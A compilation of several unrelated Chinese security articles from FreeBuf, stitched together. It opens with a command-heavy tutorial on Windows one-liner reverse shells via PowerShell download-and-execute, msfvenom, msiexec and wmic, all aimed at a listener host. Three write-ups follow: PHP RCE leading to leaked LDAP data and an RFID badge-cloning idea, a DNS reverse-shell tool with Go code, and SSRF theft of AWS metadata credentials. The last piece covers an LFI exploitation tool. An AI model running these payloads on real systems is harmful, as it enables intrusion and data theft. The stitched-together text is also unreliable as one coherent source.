你可以使用PowerShell.exe,或从其他工具(如Cmd.exe)启动PowerShell会话,或是在PowerShell命令行中使用它来启动新会话。有关详情你可以阅读Microsoft windows官网上的内容。

通过Powershell启动Powercat攻击

Powercat是一个PowerShell native backdoor listener和reverse shell,被称之为netcat的修改版,因为它集成了payload编码,msfvenom会这么做,并且还有一个客户端到客户端中继,允许连接两个独立的侦听器。

在本地计算机上下载PowerShell,然后使用python HTTP server传输powercat.ps1以获取目标机器的反向shell,并启动netcat侦听器。

git clone //github.com/besimorhino/powercat.git
python -m SimpleHTTPServer 80

利用Windows one-liner获取反向Shell

然后,在远程端执行以下命令获取netcat会话。

powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('//192.168.1.109/powercat.ps1');powercat -c 192.168.1.109 -p 1234 -e cmd"

利用Windows one-liner获取反向Shell

如下所示,我们获取到了受害者机器的netcat会话:

利用Windows one-liner获取反向Shell

Batch File

同样,PowerShell允许客户端执行bat文件,因此让我们使用msfvenom生成恶意批处理文件,并启动netcat监听器。如下所示:

msfvenom -p cmd/windows/reverse_powershell lhost=192.168.1.109 lport=4444 > 1.bat

利用Windows one-liner获取反向Shell

然后,在远程端执行以下命令获取netcat会话。

powershell -c "IEX((New-Object System.Net.WebClient).DownloadString('//192.168.1.109/1.bat'))

利用Windows one-liner获取反向Shell

如下所示,我们获取到了受害者机器的netcat会话:

利用Windows one-liner获取反向Shell

Cscript

同样,PowerShell允许客户端执行cscript.exe来运行wsf,js和vbscript,因此让我们使用msfvenom生成恶意bat文件,并启动multi/handler作为侦听程序。如下所示:

msfvenom -p cmd/windows/reverse_powershell lhost=192.168.1.109 lport=1234 -f vbs > 1.vbs

利用Windows one-liner获取反向Shell

然后,在远程端执行以下命令获取meterpreter会话。

powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('//192.168.1.109/1.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\""

利用Windows one-liner获取反向Shell

use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit

如下所示,我们成功获取到了受害者机器的meterpreter会话:

利用Windows one-liner获取反向Shell

Msiexec.exe

我们知道Windows操作系统安装了Windows Installer引擎,MSI Package使用该引擎来安装应用程序。解释包和安装产品的可执行程序是Msiexec.exe。

通过msfvenom启动msiexec攻击

让我们使用Windows Meterpreter payload生成一个MSI Package文件(1.msi),并启动multi/handler作为侦听程序。如下所示:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f msi > 1.msi

利用Windows one-liner获取反向Shell

一旦你在远程机器上成功执行了1.msi文件,你将在本地计算机(Kali Linux)上获取到一个反向连接。

msiexec /q /i //192.168.1.109/1.msi

利用Windows one-liner获取反向Shell

use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit

如下所示,我们成功获取到了受害者机器的meterpreter会话:

利用Windows one-liner获取反向Shell

Wmic.exe

wmic.exe是WMI 命令行,作为Windows XP的一部分发布的WMI命令行工具 (wmic.exe) 提供一个到WMI基础结构的命令行接口。可以使用wmic.exe执行来自命令行的常见WMI任务,包括浏览CIM和检CIM类定义。

通过Koadic启动Wmic.exe攻击

现在,将在koadic的帮助下生成恶意XSL文件,这是一个命令和控制工具,与Metasploit和Powershell Empire非常相似。有关详情请参阅:https://www.hackingarticles.in/koadic-com-command-control-framework/

安装完成后,你可以运行./koadic文件来启动koadic,并加载stager/js/wmic stager。运行以下命令并设置SRVHOST,其中stager应调用home。

use stager/js/wmic
set SRVHOST 192.168.1.107
run

利用Windows one-liner获取反向Shell

执行WMIC的以下命令从远程服务器下载并运行恶意XSL文件:

wmic os get /FORMAT:"//192.168.1.107:9996/g8gkv.xsl"

利用Windows one-liner获取反向Shell

一旦恶意XSL文件在目标机器上成功执行,就会获取到一个Zombie连接。

利用Windows one-liner获取反向Shell

*参考来源:hackingarticles,FB小编secist编译,转载请注明来自FreeBuf.COM

背景

几个月前,我自愿对一家法国公司进行了安全审计。该公司有一个企业站,你可以在其中找到新闻,联系页面或下载文档。这是一个非常典型的网站,当加载某些内容,将会发送AJAX请求,该请求由2个参数组成。

1_YO1M4v1tPzS9dxy0-AoLgw.png

并允许你以HTML格式获取一个包含最新新闻动态的响应。

远程代码执行

由此可以了解网站的工作原理。名为ajax的端点允许你使用任何类的任何方法。

在此之前,我尝试使用了stdClass类和方法,但没有任何功能。

然后我有了一个想法,删除class参数以尝试显示phpinfo()函数。

2_-Y85w8u_uAzSlb5NdgNQGQ.png

3_PYb5-PaLEoVzc53NH0m45g.png

事实证明我的想法是对的,现在的问题是我怎样才能更有效地利用它呢?

在PHP中有一个名为system(https://secure.php.net/manual/fr/function.system.php)的函数,它允许你执行命令并返回执行结果。

system ( string $command [, int &$return_var ] ) : strin

但是,正如你所看到的,我需要一个允许放置我所选择的命令的参数。为此,我将使用我在某些页面上看到的一个参数,这个参数为args。

4_F6g2R59N9_wZt8DRiMcceQ.png

5_9ZzRkeWeMT2N0ZdvoyKCiQ.png

现在,我可以执行任何的UNIX命令,这意味着我可以做很多我想做的事情,例如我现在可以访问文件夹和文件及其内容等。

LDAP Server

最有趣的就是我发现了一个配置文件,其中包含一组数据库的登录名和密码(20个数据库)和一个LDAP服务器。

6_Ocv3EnqKODXmqF7Ey8g97Q.png7_B_mIFBAUV_8AcgmYEb8Hkw.png

但为什么是一个LDAP服务器呢? 首先,让我们简单了解下什么是LDAP服务器。

我们对LDAP服务器比对数据库更感兴趣。由于服务器上安装了一个phpMyAdmin版本,因此即使它们在localhost外部无法访问,我也能连接到它。

LDAP(轻量级目录访问协议,Lightweight Directory Access Protocol)是实现提供被称为目录服务的信息服务。目录服务是一种特殊的数据库系统,其专门针对读取,浏览和搜索操作进行了特定的优化。目录一般用来包含描述性的,基于属性的信息并支持精细复杂的过滤能力。目录一般不支持通用数据库针对大量更新操作操作需要的复杂的事务管理或回卷策略。而目录服务的更新则一般都非常简单。这种目录可以存储包括个人信息、web链结、jpeg图像等各种信息。为了访问存储在目录中的信息,就需要使用运行在TCP/IP 之上的访问协议—LDAP。

来源:https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol

为了简化对LDAP的理解,重要的是要记住它是用户的目录。此目录允许用户仅连接一次并访问各种应用程序和网站,还允许打开Windows会话。

至于“为什么网站配置文件中存在LDAP访问?”是因为这些访问允许你定义站点上已经过身份验证用户的权限。

想要连接到MacOS下的公司LDAP服务器,我们必须要借助一些应用程序,但遗憾的是这些应用大都是些付费应用免费的很少。我个人使用的是LDAPSoft。

如果你有一个开源的可替代方案那我将非常感兴趣,因为当每个用户有大约40个字段时,使用终端连接到LDAP服务器将非常的麻烦。

LDAP凭据的访问权限仅限于读取权限,我无法修改用户的数据。

8_8nKwwd7mBrflg2W0OWOelQ.png

感谢维基百科和LDAP服务器!该安全漏洞涉及近40,000用户的信息。

我可以访问的信息包括:

名和姓,

个人电邮地址,

出生日期,

电话号码,

明文密码(随机数),

有关RFID标签(MiFare)的信息,

用于启动Windows会话的个人目录

员工的RFID标签允许你访问公司大楼,你还可以购买空白的RFID标签来输入LDAP服务器中的信息,从而欺骗性的访问大楼。这种类型的标签并不昂贵且易于编程。

短信警报

另外,该公司有一个我此前从未见过的系统,该系统可以向公司的所有员工发送警报短信,以防非法入侵或恐怖袭击。

实际上,通过搜索其中的一个配置文件,我能够从一个SMS发送服务中获取一个API密钥。

使用该密钥发送简单的HTTP请求,将允许我向整个公司的人发送短信。

总结

获取40,000名前雇员或雇员信息,

可以访问大约20个数据库的数据,

使用RFID标签访问公司大楼(?),

获取的用户密码,可否用于获取其它访问权限(?)。

最后,我向该公司发送了安全审计报告,他们积极并快速的进行了修复。

*参考来源:medium,FB小编secist编译,转载请注明来自FreeBuf.COM

Chashell是一个由Go编写的基于DNS进行通信的反向shell。它可用于绕过防火墙或严格限制的网络。

它带有一个名为chaserv的多客户端控制服务器。

chashell

通信安全

每个数据包都使用对称加密(XSalsa20 + Poly1305)进行加密,客户端和服务器之间使用共享密钥。

我们计划在未来实现非对称加密。

协议

Chashell使用Protocol Buffers序列化消息进行通信。作为参考,协议缓冲区结构(.proto文件)在proto文件夹中可用。

这是一个(简化的)通信图表:

proto.png

请记住,每个数据包都经过加密,十六进制编码,然后被打包用于DNS传输。

支持的系统

Chashell可以在任何支持Go编译器的桌面系统使用(如Windows,Linux,Darwin,BSD衍生版本)。

我们已在以下系统进行了测试:

Windows (386/amd64)

Linux (386/amd64/arm64)

OS X (386/amd64)

Chaserv/Chashell 使用

构建

在运行这些命令之前,请确保已正确配置GOPATH环境变量。

构建所有二进制文件(根据需要调整domain_name和encryption_key):

$ export ENCRYPTION_KEY=$(python -c 'from os import urandom; print(urandom(32).encode("hex"))')
$ export DOMAIN_NAME=c.sysdream.com
$ make build-all

为特定平台构建:

$ make build-all OSARCH="linux/arm"

仅构建服务器:

$ make build-server

仅构建客户端(chashell本身):

$ make build-client

DNS 设置

购买并配置你选择的域名。

设置DNS记录:

chashell 300 IN A [SERVERIP]
c 300 IN NS chashell.[DOMAIN].

使用

在服务器端(攻击者的计算机),你必须使用chaserv二进制文件。对于客户端(即目标),请使用chashell二进制文件。

因此:

在控制服务器运行chaserv

在目标计算机运行chashell

客户端现在应该回连到chaserv:

[n.chatelain]$ sudo ./chaserv
chashell >>> New session : 5c54404419e59881dfa3a757
chashell >>> sessions 5c54404419e59881dfa3a757
Interacting with session 5c54404419e59881dfa3a757.
whoami
n.chatelain
ls /
bin
boot
dev
[...]
usr
var

使用sessions [sessionid]命令与客户端进行交互。与之交互过程中,你可以使用background命令将会话转为后台执行,并返回到chashell提示符。

使用exit命令关闭chaserv。

实现自己的反向 shell

chashell/lib/transport库与io.Reader/io.Writer接口兼容。因此,实现反向shell非常简单:

cmd := exec.Command("/bin/sh")

dnsTransport := transport.DNSStream(targetDomain, encryptionKey)

cmd.Stdout = dnsTransport
cmd.Stderr = dnsTransport
cmd.Stdin = dnsTransport
cmd.Run()

未来计划

实现非对称加密(Curve25519,XSalsa20和Poly1305)

使用InfoPacket消息检索主机名

创建代理/中继工具隧道TCP/UDP流(通过DNS进行Meterpreter!)

更好的错误处理

摆脱依赖

*参考来源:GitHub,FB小编secist编译,转载请注明来自FreeBuf.COM

嗨,大家好!这是我最近发现的一系列安全漏洞当中的一个,该漏洞与印度最赚钱的电子商务公司的一个数据库有关。下面让我们回顾下这个完整的故事。

注:这是在有关公司的授权许可下完成的!任何未经授权的行为,都属于违法行为!

这应该是一次有针对性的渗透,本人专注于LFI(本地文件包含)漏洞搜寻,所以我很热衷与文件交互相关的功能和端点。一个常见的用于下载App的“Android Google Play”和“iPhone App store”选项功能引起了我的注意。

从SSRF到最终获取AWS S3 Bucket访问权限的实际案例

当我点击它时,它将我重定向到了另一个页面,其链接地址如下 - 

从SSRF到最终获取AWS S3 Bucket访问权限的实际案例

接着又立即重定向到之前引用的页面,当我在隐身窗口中打开它查看没有引用页面时的响应是什么时,它被重定向到了一个404页面,因此很明显它正在寻找某些条件和参数,然后进行简单的if/else逻辑判断。为了查看是否有任何缺失的参数,我偶然发现了页面的以下HTML代码 - 

从SSRF到最终获取AWS S3 Bucket访问权限的实际案例

逻辑非常清晰,正如你在红色框中看到的,有一个php文件“download_handler.php”在URL中缺少,需要参数“path”作为finaldownloadlink以及“name”的URL名称,这就是没有下载任何内容的原因。所以最终的URL应该是 -

downloadcallback/download_handler.php?path=

我尝试了目录遍历攻击(../../../../etc/passwd),非常幸运文件几乎都给了最大权限(一个常见错误:/),我能够读取/etc/passwd文件以及各种其它文件中的内容 -

从SSRF到最终获取AWS S3 Bucket访问权限的实际案例

从SSRF到最终获取AWS S3 Bucket访问权限的实际案例

我能够读取各种Linux系统文件,配置,访问日志,并获取get参数中的用户访问令牌以及其它更为敏感的信息。导致这个漏洞的罪魁祸首是“download_handler.php” -

从SSRF到最终获取AWS S3 Bucket访问权限的实际案例

PHP文件只是将该文件作为输入并将其读取回客户端。很容易可以看出它应该也非常容易受到SSRF的攻击 -

从SSRF到最终获取AWS S3 Bucket访问权限的实际案例

尝试使用不同的URL schemas(file:/// , dict:// , ftp:// and gopher://)读取 /etc/password,你也可以使用file:/// scheme执行相同操作 -

从SSRF到最终获取AWS S3 Bucket访问权限的实际案例

早些时候,当我通过LFI攻击抓取敏感文件时,我碰巧读取了/etc/motd文件,该文件表明该应用程序是通过AWS ElasticBeanstalk部署的。

从SSRF到最终获取AWS S3 Bucket访问权限的实际案例

这也让我决定继续通过SSRF搜索AWS实例元数据和用户数据 -

从SSRF到最终获取AWS S3 Bucket访问权限的实际案例

从SSRF到最终获取AWS S3 Bucket访问权限的实际案例

我还能够从以下API中检索AWS账户ID和Region -

http://169.254.169.254/latest/dynamic/instance-identity/document

从SSRF到最终获取AWS S3 Bucket访问权限的实际案例

当我读取AWS Elastic Beanstalk时,我遇到了一个API调用,它可以获取AWS Access Key,Secret Access Key和Token。

http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanstalk-ec2-role

我很快通过SSRF 进行了调用,我能够获取他们的AWS Access key,ID,token,在此之前我也获得了他们的帐户ID,这表明相比之前漏洞变得更加严重了 -

从SSRF到最终获取AWS S3 Bucket访问权限的实际案例

现在是时候对AWS账户进行身份验证了。为了确保凭证没有过期,我配置了aws-cli试图列出并将S3 bucket数据下载到我的本地机器上 -

从SSRF到最终获取AWS S3 Bucket访问权限的实际案例

将s3 bucket内容复制到本地机器 -

从SSRF到最终获取AWS S3 Bucket访问权限的实际案例

在查看每个单独的S3 bucket时,在一些bucket中我发现了一些关键文件,例如database.js,config.js,app.js,payment.config。这些文件很快引起了我的注意。正如我所料,其中包含了支付hash key和salt(可用于篡改订单的支付),多个数据库凭据,一些内部工具用户名和密码等信息。还有一个正在运行的MongoDB实例,其凭据可在配置文件的纯文本中找到,当我尝试连接到它时,我发现他们的客户数据也存储在其中 - 

从SSRF到最终获取AWS S3 Bucket访问权限的实际案例

虽然它没有包含所有用户的详细信息,但其中已包含的数据量超过了10000条。随后我立即向他们报告了这个漏洞,他们积极并迅速的进行了修复。感谢阅读!

*参考来源:medium,FB小编secist编译,转载请注明来自FreeBuf.COM

FDsploit是一个件包含/路径回溯漏洞的挖掘枚举和利用工具。

FDsploit.png

FDsploit可自动化的为我们发现和利用本地/远程文件包含及目录遍历漏洞。如果发现了LFI漏洞,可以使用–lfishell选项来进行利用。目前,支持以下3种不同类型的LFI shell:

simple: 这种类型的shell允许用户轻松读取文件,而无需每次都输入URL。 此外,它只提供文件的输出,而不是页面的整个html源码,这使得它非常实用。

expect: 这种类型的shell是一个半交互式shell,允许用户通过PHP的expect:// wrapper执行命令。

input: 这种类型的shell是一个半交互式shell,允许用户通过PHP的php://input流执行命令。

到目前为止,只有两个lfi-shell内置命令:

clear

exit

特性

LFI-shell接口仅提供已处理文件或发出命令的输出,而不是所有html代码。

可以指定3种不同类型的LFI shell。

支持GET/POST请求。

自动检测GET参数。

可以使用通配符(*)指定某些参数进行测试。

可以指定和使用可选的会话cookie。

可以使用PHP函数自动检查RCE。

使用sha-256 hash识别潜在的漏洞。

支持base64/urlencoding。

示例

1.目录遍历漏洞发现:

从下面的输出来看,directory参数可能易受到目录遍历漏洞的影响,因为每个使用../作为payload的请求都会产生不同的sha-256哈希。每个请求的内容长度也不同:

./fdsploit.py -u 'http://127.0.0.1:8888/test/bWAPP/bWAPP/directory_traversal_2.php?directory=documents' -c 'PHPSESSID=7acf1c5311fee614d0eb40d7f3473087; security_level=0' -d 8

directory_traversal.png

2. LFI漏洞发现:

同样, language参数易受到LFI漏洞的影响,因为使用../etc/passwd等作为payload,每个绿色的请求都会产生不同的哈希,与初始值不同的内容长度,并且指定的关键字在响应中:

./fdsploit.py -u 'http://127.0.0.1:8888/test/bWAPP/bWAPP/rlfi.php?language=*&action=go' -c 'PHPSESSID=7acf1c5311fee614d0eb40d7f3473087; security_level=0' -d 7 -k root -p /etc/passwd

3lfi.png

3.使用simple shell进行LFI利用:

使用simple shell利用上面的LFI:

simpleshell.png

注意:

使用POST时,还必须指定–params选项。

要测试目录遍历漏洞,必须将–payload选项保留为默认值(None)。

当–file选项用于多URL测试时,则仅支持GET请求。

如果同时设置了–file和–cookie选项,那么每次url必须在同一个域上引用时才可以指定一个cookie,或者在没有cookie的情况下可以访问(这将在未来的更新中修复)。

input shell与POST不兼容。

安装依赖

pip install -r requirements.txt --upgrade --user

未来计划

修复以上第4条,让–file可以与POS参数和cookies工作,可能会使用json等文件作为输入。

向–lfishell添加更多内置命令,如history等。

贡献和反馈

如果你愿意为该项目贡献你的一份力或对该项目有任何意见或建议,那么欢迎你随时通过issue提交他们。我们会尽快的审核并解决它!谢谢!

*参考来源:GitHub,FB小编secist编译,转载请注明来自FreeBuf.COM